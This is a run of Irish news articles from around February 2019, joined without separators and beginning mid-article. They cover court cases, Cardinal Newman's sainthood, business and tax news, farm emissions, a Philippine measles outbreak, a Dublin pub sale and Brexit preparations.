He subsequently made a second statement where he outlined how he had seen "10 to 15 round bales of silage" where this tank was located.

"I searched that area and found nothing there in relation to a tank," he told the trial, of the initial missing person search on June 7, 2011.

Garda Finnan said he had been told the body was found "in a tank out the back of the house".

"I took it to understand that was the pit because I didn't find any other tank to the rear of the house in my search," he explained.

He had looked into this pit, which had only contained around "18 inches" of slurry, he said.

Garda Finnan said he had asked the lead investigator on the search team, Sgt Cathal Godfrey, if he could see the photo.

"I wouldn't say Sgt Godfrey showed it to me. It was on the table," Garda Finnan said.

Mr Condon asked if the witness agreed it was inappropriate for gardai to discuss their statements in advance of giving evidence in a trial.

Garda Finnan said it would not be correct but added that they were not discussing their evidence, but rather looking at a photograph.

Put to him by Mr Condon if it might be possible that he was "extraordinarily confused about where things were", Garda Finnan replied: "No, it is not possible."

And when put to him that the information about the bales was not something he had ever said before, Garda Finnan said: "That was an error on my behalf, that I got the location of the tank wrong."

He told prosecution counsel Michael Bowman SC that there was nothing organised between gardai at the coffee shop and they did not share their statements or give opinions. He further accepted that it was "far from ideal" that he had this recollection at this "late hour".

Questioning Garda Finnan about the conversation in the coffee shop, Mr Bowman said: "We all live in the real world here", asking him if there was much talk in Tipperary about the case.

"Huge," Garda Finnan replied.

Asking if the case was being followed locally, he again replied: "Hugely."

The trial continues.A father-of-four has been accused of carrying out two violent sex attacks on prostitutes working in the city.

The accused, a 31-year-old tradesman, is alleged to have imprisoned, stripped, beaten and sexually assaulted one woman, who escaped out a window and ran naked onto a main road, where she flagged down a taxi.

A court heard he allegedly pulled clumps of hair out of a second prostitutes head and raped her, as well as robbing both women.

Judge Bryan Smyth remanded him in custody with consent to bail. Under bail conditions, he must not engage with any escort agencies or websites.

The Dublin man, who cannot be named, is charged with aggravated sexual assault, false imprisonment, robbery and assault causing harm to one woman at an apartment in north Dublin in June, 2016.

He is charged with rape, assault and robbery of the second woman at a city centre flat in February 4, 2018.

Detective Garda Anne Power told Dublin District Court she arrested the accused yesterday at 3.40pm and charged him with four counts.

His replies to the charges after caution were: Its false; its a false allegation; its false; and false, its all false.

Det Sgt Liam Donoghue said the accused made no reply to the remaining four charges this morning.

Det Sgt Donoghue said in the first incident, it was alleged a prostitute had made an arrangement by phone to meet the accused and they had consensual sex. Afterwards, a dispute arose as to her nationality. It was alleged the accused referred to her as a Romanian national, which she was not.

She then got a phone call from another client, Det Sgt Donoghue said. At this stage, she was attacked, her clothing was removed, she was bitten on her breast, hit a number of times and began to scream.

The accused climbed on top of her and slapped her on the face, the garda said.

The alleged victim opened the door and tried to run from the flat but he dragged her back, picked her up and threw her inside the flat, it was alleged.

He grabbed her by the hair and banged her head on the door twice, Det Sgt Donoghue continued. It was alleged that he then demanded the cash contents of her wallet - euros and dollars - before pushing her up against a sink and aggressively digitally penetrating her, causing her great pain. She was also punched in the back of the head.

The woman escaped out a window and, still naked, ran out onto a main road, where she flagged down a taxi and was taken to a garda station.

In the second incident, it was alleged the accused discussed having anal sex without a condom with a second prostitute. She would not consent to this and consensual sex with a condom then took place.

In the course of this, the condom was removed and she objected. It was alleged she was then raped and assaulted.

The alleged victim had two clumps of her hair pulled out of her head and had cash stolen from her.

The court heard the prosecutions evidence included mobile phone records and an EvoFIT by one of the alleged victims.

Defence solicitor Cahir OHiggins accepted the allegations were serious and ugly, but asked Judge Smyth to grant bail.

The court heard the accused had got engaged to his partner after he was first arrested, but the relationship and since broken down. His family would support him and provide accommodation.

Judge Smyth granted bail subject to an independent surety of 10,000, half of which is to be cash.

The accused must observe a curfew and refrain from engaging with escort agencies or websites.

The accused will appear in Cloverhill District Court on February 19.An escaped prisoner who hid in a wheelie bin after driving the wrong way down a motorway at night while trying to avoiding pursuing gardai has been sentenced to five years.

Liam Deegan (27) was discovered in the bin after the garda helicopter unit, which was called in to assist in the chase, detected a heat source coming from it.

He had abandoned his car, a Volkswagen Passat, in the forecourt of a nearby garage. He was unlawfully at large from Mountjoy prison at the time.

Garda John Ryan told Garret Baker BL, prosecuting, that at 2am that morning he had instructed Deegan to pull over after he witnessed him driving too close to the vehicle in front of him.

The man pulled over into the hard shoulder but as soon as the gardai drove in behind him, he reversed, performed a u-turn across three lanes of traffic and drove the wrong way down the M50.

A second patrol car that happened to be in the area had to take evasive action when the driver realised that Deegan's vehicle was coming straight at him at speed. He had initially thought the vehicle was on the opposite carriageway.

Gda Ryan said on arrest Deegan said he had panicked when he was initially pulled over as he was disqualified from driving. The garda didn't discover that he was an escaped prisoner until later.

Deegan of Rathmore Drive, Tyrellstown, Dublin, pleaded guilty at Dublin Circuit Criminal Court to endangerment between junction 7 and 9 on the M50 on April 22, 2017. He has 39 previous convictions including violent disorder, assault, threat to kill, false imprisonment and robbery.

Judge Melanie Greally said the garda who Deegan drove straight at was fearful for his life and added that given his driving any motorist who encountered him was very unlikely to escape with their life or at the least serious injury.

The judge accepted evidence that Deegan later offered a genuine apology to gardai for his driving.

Judge Greally also noted that Deegan had indicated in a letter written to the court that he desires and needs to have assistance from the Probation Service upon his release from prison.

She suspended the final 18 months of the five year sentence on strict terms including that Deegan engage with the Probation Service for 12 months upon his release from prison.

Gda Ryan said he was on mobile patrol when he indicated that Deegan should pull over. He was involved in the pursuit for some time before he lost sight of the Passat. He agreed with Niall Storan BL, defending, that it was nothing short of a miracle that no one was injured.

Mr Storan said his client is from a family of 10 and is a qualified roofer. He has been told that there is a job available to him upon his ultimate release from prison.

Counsel accepted that his client has a history of serious offending but said he is willing to engage with the Probation Service.

He is deserving of a chance, Mr Storan submitted adding that Deegan has a supportive partner and family.A 19-year-old Latvian childminder has pleaded guilty to wilfully assaulting, ill-treating and neglecting her one-year-old baby niece.

The teen has pleaded guilty to the charge in connection with breaking the baby's arm.

In the case at Ennis Circuit Court, the teen has pleaded guilty to wilfully assaulting, neglecting, ill-treating, abandoning and exposing the child in a manner likely to cause unnecessary suffering or injury to the child's health at an address in the west on May 21 last year. When the case was before the district court last year, Judge Patrick Durcan said the injury the baby sustained was "very serious" and declined jurisdiction.

Detective Deirdre O'Shaughnessy told the district court that the baby turned one a day after she was admitted to hospital on May 24 last.

"The baby was admitted to hospital with a spiral fracture to her upper right arm," said Det O'Shaughnessy.

"It was an unexplained injury and it was referred to us by Tusla due to the unexplained nature of it. The child was not walking at the time."

The accused is the maternal aunt of the baby and was at the time in paid employment from her sister and partner to look after the baby and two of the baby's siblings for a number of months.

At Ennis Circuit Court yesterday, counsel for the accused Rebecca Treacy BL requested a Probation Report for the accused.

Counsel for the State Lorcan Connolly BL said that a date can be allocated for the sentencing hearing on March 25.This undated photo provided by the Catholic Trust for England and Wales shows a portrait of Cardinal John Henry Newman. Mazur/www.catholicnews.org.uk via AP

Pope Francis has approved a miracle needed to grant sainthood to Cardinal John Henry Newman, a prominent Anglican convert and founder of the university that became UCD.

Cardinal John Henry Newman was the rector of the Catholic University of Ireland which later became UCD.

Pope Francis's predecessor, Pope Benedict XVI, beatified Cardinal Newman during a visit to Britain in 2010.

In the Catholic Church's process, one miracle is necessary for beatification, and a second miracle, occurring after the beatification ceremony, must be certified by Vatican experts for sainthood to be conferred.

The Vatican did not give details in announcing Francis's approval of this second miracle.

But Catholic media last year reported that a pregnant woman's recovery, with no scientific explanation, from a life-threatening illness had been confirmed by church officials and attributed to Cardinal Newman's intercession.

No date was immediately announced for a sainthood ceremony.

London-born Cardinal Newman, who died in England in 1890, had been hailed by Benedict as a model for ecumenism.

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Cardinal Newman renounced an illustrious academic career at Oxford University to convert to Catholicism in 1845, convinced that the truth he sought could no longer be found in the Church of England.

The Vatican also said that Francis had approved the "heroic virtues of God's servant" Hungarian Cardinal Jozsef Mindszenty, a staunch foe of Communism who spent more than seven years in prison in his homeland and several years in asylum at the US embassy in Budapest.

He was later granted permission by Hungarian authorities to live in exile in Vienna.

In 1974, amid pressures from the then-Communist Hungarian government, Pope Paul VI removed his titles as Roman Catholic primate of Hungary and as archbishop in Budapest.

Cardinal Mindszenty pointedly denied he had retired voluntarily from those posts, attributing that decision to the Vatican alone.

Papal recognition of "heroic" virtues is an early step towards possible sainthood.

Cardinal Mindszenty died in 1975 in Vienna, Austria.The RGA was influential in Hogans re-election victory last year over Democrat Ben Jealous. The Republican Governors Association ran $3 million in negative ads labeling Jealous a socialist for months before the former NAACP president could afford to go on the air.Paul McGuinness at the Sky 2019 Content Showcase which took place at The Westbury Hotel, Dublin. Photo: Sky

Paul McGuinness at the Sky 2019 Content Showcase which took place at The Westbury Hotel, Dublin. Picture: Brian McEvoy

Paul McGuinness at the Sky 2019 Content Showcase which took place at The Westbury Hotel, Dublin. Picture: Brian McEvoy

Former U2 manager Paul McGuinness has said he still keeps in touch with the band  and they even visited the set of his TV show, Riviera, for lunch.

Speaking at the launch of Skys new season showcase in Dublin, McGuinness said he still sees the Irish rockers regularly.

They sometimes come for lunch because we shoot very much in the area where all five of us have houses, he told Independent.ie. We see a lot of each other, even nowadays. Certainly, Bono and Adam have been to lunch on set. I havent asked them whether we could film in their houses.

McGuinness, who managed U2 from 1978 to 2013, is behind the Sky Atlantic show set along the sun-soaked French coast. The glamorous drama, which cost more than 40m to create, is back for a second season this year. Season one drew in 20 million downloads and views, making it Skys best-performing series. Following his retirement from the music industry in 2013, McGuinness said he felt relieved to be able to enjoy U2 concerts as a fan rather than their manager.

I was as interested as I had always been, but I didnt have the responsibility of putting it out into the world and making it successful, he said. It wasnt that I was weary of it, Id like to go to those shows as a guest.

Despite his ties with Ireland, the ex-music mogul has no plans to swap the French Riviera for a permanent move to Dublin.

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Theres something like 250 days of guaranteed sunshine in the south of France and our set is set permanently in summer, he said. Not with this show, but I have a few other things cooking and Id like to make something here.

McGuinness, who was also a founding partner of TV3, said the appetite for high-end dramas was returning as more people can watch from home.

If you think about it, everyones got a flat screen now. Remember what a TV was like only 10 years ago, it looked like a grey fridge and took up loads of space.

The quality of the viewing experience is a huge factor in the boom in television and film-making.

Season two of Riviera will see Poppy Delevingne and Juliet Stevenson join the cast for more drama on the Cote dAzur.Debenhams secured a lifeline from some of its lenders, giving the troubled UK department-store chain 40m (45m) in liquidity as it attempts a broader refinancing.

The company, which operates middle-market stores that anchor many of Britain's shopping centres, also struck an agreement with export and logistics company Li & Fung on a sourcing partnership for Debenhams' own-brand products. The deal will help the retailer anticipate trends more quickly and boost quality, CEO Sergio Bucher said in a statement yesterday.

Debenhams is in talks with lenders and landlords as it struggles under about 360m of debt amid dwindling sales. The company issued three profit warnings last year and is closing stores as it's caught up in the sweeping decline of the UK's traditional retail hubs.

"The extra lending facility gives Debenhams breathing room, but its renegotiation of leases is seeming more difficult," said Louise Parker, an analyst at Bloomberg Intelligence.

"The company has been trying to negotiate rent reductions with its landlords for over a year and we have not seen any progress."

Billionaire investor Mike Ashley, who has a stake in Debenhams, last month engineered a shareholder-vote coup in which he forced out chairman Ian Cheshire and drove Mr Bucher off the board.

The new credit line provides the same amount of financing as Mr Ashley offered to the company last year, which Debenhams turned down.

A company voluntary arrangement, a UK court process that can allow insolvent firms to reach agreements with creditors, along with a debt restructuring may still be the only way for Debenhams to cut its onerous rent bill and remain current on its obligations, according to Ms Parker. The chain plans to have refinanced by the end of the second quarter, according to yesterday's statement.

Debenhams shares rose as much as 49pc in London, but the rebound comes after a multiyear plunge that's cut their value by about 96pc since May 2015. The company's 200m of bonds due in July 2021 were little changed at 50p on the pound, according to data compiled by Bloomberg.

Some of Debenhams's lenders grouped together to extend the new secured facility, which will be available for 12 months. It will initially charge interest of Libor plus a 5pc cash coupon annually, and will be secured over the assets of the existing guarantors of its revolving credit facility and notes. (Bloomberg)Disruptor: Domhnal Slattery, founder and CEO of Avolon, with Julie Sinnamon, CEO of Enterprise Ireland, at the agencys Appetite for Disruption event yesterday. Photo: Orla Murray/SON Photography

IRELAND'S tax system continues to penalise risk takers and the country is in danger of being left behind in a new wave of global digital entrepreneurship, aviation executive Domhnal Slattery has warned the Government.

The CEO and co-founder of Dublin-based aircraft leasing giant Avolon, Mr Slattery told an Enterprise Ireland event that boosting Ireland's level of entrepreneurship can't happen "with a tax structure that disproportionately penalises risk takers".

"We need a tax structure that allows risk-taking to flourish," he urged the Government.

"We need a capital gains mechanism that doesn't send our startups elsewhere. We need tax efficient ways to aid entrepreneurs attract high quality employees, appropriately incentivised," added Mr Slattery.

The aviation entrepreneur founded aircraft lessor International Aviation Management and sold it in 2001 to RBS for about 45m.

A former Guinness Peat Aviation executive, he co-founded Avolon in 2010, securing billions of dollars of backing from private equity.

The firm floated on the New York Stock Exchange in 2014, and was sold the following year to Bohai Leasing for $2.5bn (2.2bn). The sale netted Mr Slattery about 31m.

Mr Slattery told the Enterprise Ireland event investors also needed to be "rewarded for their bravery, particularly at the early funding stage".

"Ireland's capital gains tax environment and the very modest tax incentives available for founders currently act as major disincentives, and this is a lost opportunity for the Irish economy," he said.

He called for greater supports and incentives for founders to encourage them to realise their exits in Ireland, and then reinvest their capital here.

Read more: Avolon appeals Avianca ruling

"We believe increased benefits would flow to the State in terms of tax receipts and such a move would also bring us into line with most other countries in the EU on founder taxation, particularly our nearest neighbours, the UK," said Mr Slattery.

The Government has been frequently criticised for failing to provide adequate tax incentives for startups and founders.

Entrepreneurs selling businesses pay 10pc capital gains tax on the first 1m gain they make from the sale of a business.

But it's a lifetime limit, rather than 1m relief on the sale of each business.

After that, their gains are taxed at 33pc.

Mr Slattery also said that it appears Ireland often lacks the "cultural ambition" needed to scale businesses to become global.The tax avoidance drive has included a ruling that Ireland recover 13bn from iPhone maker Apple. Stock picture

Europe's second-highest court will rule tomorrow whether a Belgian tax break which benefited some 35 large companies is illegal state aid, a judgment which could provide clues to other tax cases involving Apple, Starbucks and Fiat Chrysler.

As part of its crackdown on tax avoidance, the European Commission three years ago ordered Belgium to recover some 700m from the group, saying the companies' "excess profit" tax plan gave them an unfair advantage vis-a-vis smaller firms.

The scheme allowed the companies to claim deductions for economies of scale, reducing their corporate tax base by 50pc to 90pc.

Dutch industrial company Magnetrol and Belgium subsequently challenged the Commission's decision at the Luxembourg-based General Court.

The largest beneficiaries were Wabco, Cellio, BP, BASF, Atlas Copco and Belgacom.

Judges may also rule whether it qualifies as a scheme or are just individual tax rulings.

The tax avoidance drive has included a ruling that Ireland recover 13bn from iPhone maker Apple and Luxembourg to claw back up to 30m from Fiat Chrysler, 250m from Amazon and about 120m from Engie.

All the major companies have challenged the EU rulings. At stake is whether the Commission is over-stretching its powers by using its state aid tool to address tax fairness concerns.

Meanwhile, finance ministers from smaller European Union states yesterday opposed a plan to limit governments' power to block EU reforms on tax matters, in a move that further reduces the chances of introducing an EU levy on large digital firms.

EU countries with smaller populations - including Ireland - have for years blocked efforts to narrow rules that are claimed to allow tax avoidance. Many of them defend their right to decide their own tax laws and attract foreign business by offering sweeteners.

The EU Commission proposed last month a gradual removal of the veto power states wield on tax rules.

But at the meeting in Brussels, Luxembourg, Malta, Lithuania, the Netherlands and Sweden called for maintaining their veto power.

Opposition from any one of them would sink the Commission plan.

Luxembourg's Finance Minister Pierre Gramegna was among the most vocal opponents, telling reporters that preserving unanimity over tax decisions was "extremely important".

Other smaller states, led by Ireland, have blocked a common tax on digital revenues. This has pushed several countries, including France, Italy and Spain, to adopt similar levies at national level, despite risks this could weaken the EU market.

ReutersCardboard box maker Smurfit Kappa has reported a 25pc increase in earnings before interest, taxation, depreciation and amortisation (EBITDA) in 2018 to 1.5bn, from 1.2bn in 2017.

The EBITDA margin was 17.3pc.

On the back of the performance, the company has proposed a final dividend increase of 12pc to 72.2 cent per share.

The group reported revenue growth of 4pc to 8.9bn, with an underlying increase of over 7pc, according to final results for 2018 from the company.

Tony Smurfit, group CEO, said:

Our 2018 performance demonstrates the groups transformation of recent years, which is delivering progressively superior returns.

The group delivered on or exceeded its key measures. This reflects our market-leading positions, our innovation capability and investment decisions, he added.

Smurfit had strong free cash flow of 494m, an increase of 61pc, while it reported a return on capital employed of 19.3pc.

In Europe, the company said its business performed very strongly in 2018, with underlying revenue growth of 7pc. This was driven by a combination of demand growth, input cost recovery and the benefits of its investment programme, the company said.

The Americas region had underlying revenue growth of 8pc.

Elsewhere, the group has initiated international arbitration proceedings to protect the interests of its stakeholders and seek compensation from the government of Venezuela.An Dublin-headquartered construction firm will be creating 70 new jobs this year as it opens offices in Cork and Amsterdam.

Ardmac's expansion across its Irish and European operations will bring the total number of its employees to 380 by the end of 2019.

The company is looking for skilled professionals in the areas of project management, quantity surveying and design engineering.

With additional offices in Manchester, Craigavon and Brussels, Ardmac provides specialist services to the commercial fit out, life sciences and data centre sectors.

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CEO Ronan Quinn said that the expansion follows a successful year of business growth for the company.

"The markets we serve are providing sustainable opportunities and the demand for our services continues. We are seeking talented individuals to join our experienced teams, with the aim of growing our Irish, UK and European operations," he said.

Mr Quinn said that Ardmac will provide extensive training to successful candidates, including graduate development programmes, management training and executive leadership courses.

In 2018, Ardmac was also crowned 'Fit Out Contractor of the Year' at the annual Fit Out Awards in Ireland.Last week's spat in the Dail between Agriculture minister Michael Creed and Independent TD Mick Wallace was a foretaste of what is likely to be an increasingly emotive debate about the environmental impact of farming.

The Wexford TD described the expansion of the Irish agri-food as a "short-sighted cash generator" on a par with gas fracking in the US and the Polish coal industry.

"Both the beef and dairy sector and the gas fracking sector are carbon emitting - and have to be scaled back massively if we are to reduce greenhouse gas emissions globally."

Minister Creed responded with what has become the first line of defence for farm leaders and others in the sector: Irish dairy is the most carbon-efficient in the EU and the beef sector is the fifth most efficient.

"What is the purpose of dismantling a carbon-efficient system that can and must do more (on reducing emissions) only to see product displacing it on supermarket shelves that has a far higher carbon intensity?" he asked.

Status

But with agriculture continuing to account for one third of Ireland's total national greenhouse gas (GHG) emissions, and no sign of this reducing in the short term, serious questions are being asked about the agri-food sector's carbon-efficiency status.

The assertion that we are the most carbon-efficient dairy producer in Europe is based on a 2010 European Commission report which was modelled on 2004 figures.

A 2018 report from the United Nations Food and Agriculture Organisation (FAO), based on 2010 data, takes an opposite view.

Its Global Livestock Environmental Assessment Model (GLEAM) ranks Ireland as the most carbon-intensive beef producer in Europe and third most intensive dairy producer.

However, the Department of Agriculture - in response to query from the Farming Independent - stated it is in "intensive" discussions with the FAO over what it maintains is inaccurate data on Ireland's emissions. It is also questioning the FAO's methodology, which is based on the full life-cycle impact of food produce rather than farm-specific analysis.

"Climate experts in DAFM and Teagasc are engaging intensively with FAO colleagues to ensure that the country-specific data used for Ireland in the model is both appropriate and up to date, as the results differ very significantly from previous Teagasc and international peer-reviewed research, even taking account of differences in methodology," stated the Department.

"The FAO has confirmed to DAFM that the model should not be used for inter-country comparisons at this point. The Department and Teagasc are engaging with the FAO in relation to provision of appropriate country-specific Irish data, replacing initial default data currently used by the FAO and which is understood can have a significant impact on model outputs."

But regardless of the revised FAO GLEAM data on Ireland, questions are being raised about how long milk production can continue to expand untrammelled.

The dairy sector produced a record 7.5 billion litres last year - up 53.5pc in a decade - and is now two years ahead of the Food Harvest 2020 target.

Growth will continue to power ahead under the Government's Foodwise 2025 plan. And while it doesn't have specific targets for dairy output, this plan envisages agri exports hitting 19bn by 2025, up from a record 12.7bn in 2017, when dairy products accounted for over 4bn of this figure.

This should be a good news story reflecting the extraordinary capacity for growth in the dairying sector, which was constrained for decades by EU quotas and is now playing rapid catch-up on competitors such as the Netherlands and Denmark.

Brakes

Instead, the dairy and beef sectors are now faced with the potential prospect of having to apply the brakes on growth due to the EU's emissions targets.

Ireland accounts for 1.4pc of the EU's GHG emissions, with the farming sector accounting for 0.4pc of total EU emissions. We account for approximately 0.12pc of total global emissions.

This might seem insignificant in the grand scheme of things, but Ireland has signed up to legally binding EU targets on reducing emissions by 20pc on 2005 levels by 2020 - and 30pc by 2030. We are also a signatory to global treaties on carbon reduction.

Inaction on these commitments could see us labelled a polluter nation, and the long-term reputational damage could be more costly than the short-term financial pain of addressing the climate action challenge.

In the words of Taoiseach Leo Varadkar, we are the 'laggard' of Europe on climate action. We are now ranked as the second worst country in Europe for reducing emissions.

Climate Change and Environment Minister Richard Bruton has warned that the potential cost of not hitting the EU's targets could amount to 5.5bn in fines by 2030, and he told last month's IFA AGM that there will have to be "a change in the way farming has to think about itself".

The Environmental Protection Agency, meanwhile, is projecting that with mitigation measures, agri emissions are projected to increase 3pc and 6pc from current levels by 2020 and 2030 respectively.

In response, the agri-food lobby and farm leaders are pinning their hopes for action on the 27-point mitigation plan published by Teagasc last year.

In an analysis of six different scenarios, Teagasc predict that maximum mitigation measures from agriculture would deliver a 16pc reduction by 2030 on 2016 emission levels.

The IFA has cited the Teagasc plan as being capable of delivering a potential nine megatonnes reduction (46pc) in emissions by 2030.

However, Teagasc says that this figure also includes land-use change measures and energy mitigation and "not all of these reductions are either claimable (in the case of the land use) or will be credited to the agriculture sector (the energy measures)".

And for now the Teagasc plan is just that, a plan.

Addressing the Oireachtas Climate Action committee last December, Trevor Donnellan from Teagasc noted that "across the world there is a poor take-up of GHG mitigation actions by the ag sector" and that while "significant mitigation potential exists, these solutions exist on paper only".

Teagasc director Gerry Boyle told the Public Accounts Committee last October that there is an incompatibility between dairy expansion and our emissions targets.

"We have identified - Teagasc with the Department and other bodies that are researching this area - mitigation and sequestration options. But they will not be sufficient to offset the trajectory in terms of cow numbers; that's the reality," he said.

"That is something that has to be faced up to."

EU Commissioner Phil Hogan has repeatedly warned that climate action obligations could become the 'new quota' system for countries not meeting the EU's 2020 and 2030 targets.

He has cited the example of the Netherlands, which had to cull 160,000 cows in 2017 to comply with phosphates regulations.

The post-2020 CAP reforms are also likely to demand more stringent compliance on environmental measures for Pillar One payments.

The IFA and ICMSA, however, are strongly opposed to any reduction in herd numbers or increased carbon taxes on agricultural output.

A third option would be to lower targets for agriculture in the national climate action plan due to be published by the Government this year, but how politically feasible would it be to ask the rest of the farming sector and society at large to effectively provide a subsidy for dairy expansion?

The Government is expected to publish its climate change action plan within a month. The speculation is that it will contain specific carbon reduction targets for all sectors including agriculture.

The bind that farming finds itself in on emissions is best summed up by Trevor Donnellan in a report he published last year on potential GHG reduction scenarios.

Lifeline

"The analysis highlights the continuing dilemma between policy driven and industry motivated ambitions to increase agricultural activity levels and commitments to reduce emissions," he wrote.

"The resolution of this dilemma is perhaps the most important challenge currently facing the Irish agri-food sector."

The bigger picture is the employment and economic lifeline that farming continues to provide in rural Ireland.

Setting a limit on dairy expansion would be a bitter pill to swallow, but it might also prompt a debate on what is the best direction on prosperity for the country's farmers across all the livestock and tillage sectors.

IFA president Joe Healy touched on this subject at the association's AGM when he said that "all the emphasis is on environmental sustainability without sufficient consideration for economic or social sustainability".

"Where would Ireland be, and rural Ireland in particular, without farming and the agri-sector? We will do more, but the Government approach must be more carrot and less stick".

Looking at the hard data, it's likely that doing more is going to involve more stick than carrot.Finishers are finding it extremely difficult to get young bulls killed, with some facing a six-week wait, it has emerged.

Other farmers with sheds full of bulls to be killed are reporting that they can only send two or three animals at a time.

The IFA's Angus Woods warned that the financial implications are "really serious for farmers tied up in it".

He said the problem was two-fold, with a low price and also a reluctance by factories in some cases to take the animals.

"Factories are unwilling to offer contracts because of Brexit," said Mr Woods. "Farmers are only getting small numbers of cattle killed; they may have a load ready to go but can only kill three or four at a time."

Prices being quoted yesterday for U-grade bulls stood at 3.50-3.60/kg; Rs were on 3.40-3.50/kg and Os were on 3.20-3.30/kg.

In addition, some finishers are reporting that factories have been vigorous in implementing cut-off weights, which vary between factories.

Maurice Brosnan of Gortatlea Mart said he is now seeing the weanling trade being impacted as some finishers are unable to shift bulls to free up space and improve cashflow.

"The factories need not worry about getting bulls killed next year. This time next year they won't have that problem," added the mart manager.

ICSA beef chairman Edmund Graham warned it is too high risk and the economics of dairy bull beef do not stack up.

"Most factories don't want to know about dairy bull beef. Farmers with continental bulls are faring out a little better but delays in getting bulls killed is also a problem for them," he said.

"It's bad enough losing money but to have the stress of not knowing when or if you can get your bulls killed is completely unacceptable."

Mr Graham said Friesian bulls are making 3.00-3.10/kg at present while ordinary bulls are getting 3.50-3.60, which is still back a good 40c on this time last year.

Meat Industry Ireland (MII)pointed out that over the first five weeks of this year, the young bull kill has totalled 30,000 head which is up 6pc on the same period last year and over 14pc higher than in 2017.

The total cattle kill is up 10pc on the same period in 2017.

MII's Cormac Healy said this shows the industry is working hard to accommodate the current surge in young bull numbers.

He said the preference among key customers is for steer and heifer beef, and some buyers are excluding young bulls from their specifications.

Mr Healy said the advice still stands that farmers planning young bull production need to do so in conjunction with their processor to ensure that young bulls are in line with the market specification and scheduled for coming onto the market.

"In the meantime, the industry is doing its best to work through the unforeseen surge of young bulls," he added.These objections suggest that nonconsensual pelvic examinations on women under anesthetic are ethically acceptable on utilitarian grounds, in that they offer benefits either to the patient or to society, or on the grounds of triviality, in that consent is already presumed, or the practice is insignificant, Friesen wrote in the abstract of her article. Each of these objections is rejected and the practice is deemed indefensible.Metro Manila (CNN Philippines, February 12)  The Health chief said he will propose the transfer of control of health services from the local governments to the Health Department due to the rising number of measles cases and low coverage of immunization in the country.

Department of Health (DOH) Secretary Francisco Duque suggested to revisit the Local Government Code of the country, that says health systems and facilities should be under the jurisdiction of the local government units (LGUs). This after a measles outbreak was declared in multiple regions in the country, amounting to more than 4,300 cases with 70 confirmed deaths.

"Time has come to revisit the wisdom of having devolved the health systems to the LGUs, " Duque told CNN Philippines' The Source.

Duque said the need for coordination from the Health Department to the LGUs causes delay in the implementation of health services. He added that not every local government prioritizes health services which contributed to the low coverage of the country's immunization program.

"One of the weaknesses, hindi namin macontrol yung sense of priority that local chief executive ought to have over their health system. If it's not their priority then that is also explaining why (there is low coverage)," Duque said.

Asked on whether the secretary is up to the challenge of taking on more work by overseeing all health systems in local governments, Duque said he is prepared to take control and to prioritize the people's health.

"The job is going to be more effective than difficult, nothing is easy, everything is difficult, but it's the health outcomes that are our priority," he said.

Over the past four years, the number of unvaccinated children continued to rise. In 2015, there were 583,203 children that were unvaccinated. This number shot to 712,669 in 2016, 855,039 in 2017 and it rose to 960, 457 in the third quarter of 2018.

A child is marked as unvaccinated if he or she has not received any vaccine, if he or she has been scheduled for vaccination but did not show up or if the child received only one dose of vaccination and did not return for subsequent doses.

From nine months old a child can receive a vaccine followed by a second dose at 12 months old, Duque explained. Should the child receive the first dose of vaccination much later such as when they are one year of age, they can receive the second dose after three months.

The health chief said they met with the Department of Education, the Department of Interior Local Government and the Social Welfare Department to conduct vaccination programs in several schools and communities.

He said they plan to conduct house-to-house visits to vaccinate children from six to 59 months old. They will also coordinate with different schools to vaccinate students from kindergarten to 6th grade. The immunization campaign will focus on measles vaccination for students and polio vaccines due to a resurgence of the disease in some countries.

The coverage of the country's immunization program also suffered a decline from 70% in 2015 to 68 % in 2016 and 67% in 2017. The coverage of the program dropped significantly in 2018 with 40%. The World Health Organization said a country must achieve 95% coverage to effectively prevent the spread of diseases.

Duque said he is unaware of the reason behind the steep decline of vaccination coverage during the aforementioned years. However, after speaking to some parents, he attributed the lost of trust and confidence in vaccinations to fear of the adverse effects of vaccination similar to the alleged side effects of the dengue immunization program or dengvaxia in 2014.

Parents also cited lack of free time and inaccessibility of some health centers, Duque added.

The Health Department declared a measles outbreak in Metro Manila, Central Luzon, CALABARZON, Western Visayas and Central Visayas. The DOH is currently monitoring the Autonomous Region of Muslim Mindanao, Region 9 and Region 11 for possible outbreaks.Agents Lisney and Morrisseys are expecting to see strong interest from a range of prospective purchasers for the landmark Magic Carpet public house in Cornelscourt in south county Dublin.

Located between the sought-after suburbs of Foxrock and Cabinteely, the property is being offered for sale by tender along with adjoining lands of 2.7 acres for a guide price of 12m.

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The property offers significant potential for redevelopment as pure residential, commercial or mixed use scheme.

The site is zoned part residential and part neighbourhood centre under the Dun Laoghaire Rathdown Development Plan 2016-2022.

While the site has no recent planning history, a feasibility study drawn up by OMahoney Pike Architects suggests that it could potentially accommodate a development of 70 or more apartments, four detached houses, and 1,000 sq m (10.764 sq ft) of commercial space comprising a new public house of over 300 sq m (3,230 sq ft) and retail units.

The sites topography indicates that car parking could be accommodated underground.

The potential value of the Magic Carpet site was evidenced as recently as last November with the sale by Dunnes Stores of a 1.26 acre site near the pubs premises in Cornelscourt. The site was acquired by a group of private investors for a sum in the region of 32m - or 25.4m an acre - after being offered to a targeted list of potential purchasers.

Lisney and Morrisseys expect the Magic Carpet and its site to attract interest from developers owing to its location in close proximity to a range of key transport links serving Dublin city centre. The subject property sits immediately beside the N11, QBC, and is within a short distance of the Luas Park & Ride at Carrickmines and the M50 motorway.

Notwithstanding its potential for a pure residential scheme, the Magic Carpet public house is expected to draw interest from publicans looking to maintain and develop its existing business. The Crowley family have run the Magic Carpet since the 1950s and, after almost 70 years, have decided to retire from the business.

The pub and the lands are being offered for sale in one or more lots reflecting potential market interest in acquiring the pub in its own right with a frontage of over 40m. The upper floors of the pub currently operate as an art gallery and theatre and all businesses to include pub, off licence, art gallery and theatre are trading as usual. The pub car park comprises 27 spaces and adjoins the Magic Carpet Centre shops with 35 car spaces. The property on sale includes two dwellings situated on the lands to the rear and which enjoy independent vehicular access from Gort na Mona Drive in Foxrock.

The selling agents have set a tender return date of 12 noon on Friday, March 22 next.

All enquiries should be directed to Ross Shorten or Tony Morrissey.With 44 days to go until the UK leaves the European Union, Taoiseach Leo Varadkar has said he believes a deal will be reached between the two.

However, he added that Ireland would continue its preparations for all possible outcomes, including a no-deal scenario.

Opening the European Financial Forum in Dublin today, Mr Varadkar also said that Ireland is open to investment, to capital, to trade, to talent and to creativity.

"Our philosophy is to be a leader when it comes to emerging economic, social and technological developments," he said.

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"At a time when attitudes to globalisation, free trade and multilateralism are hardening in much of the world, Ireland is holding firm to liberal political and economic values and policies."

Meanwhile, the Governor of the Central Bank, Philip Lane, warned that a sudden no-deal Brexit will be "very severe" for the Irish economy.

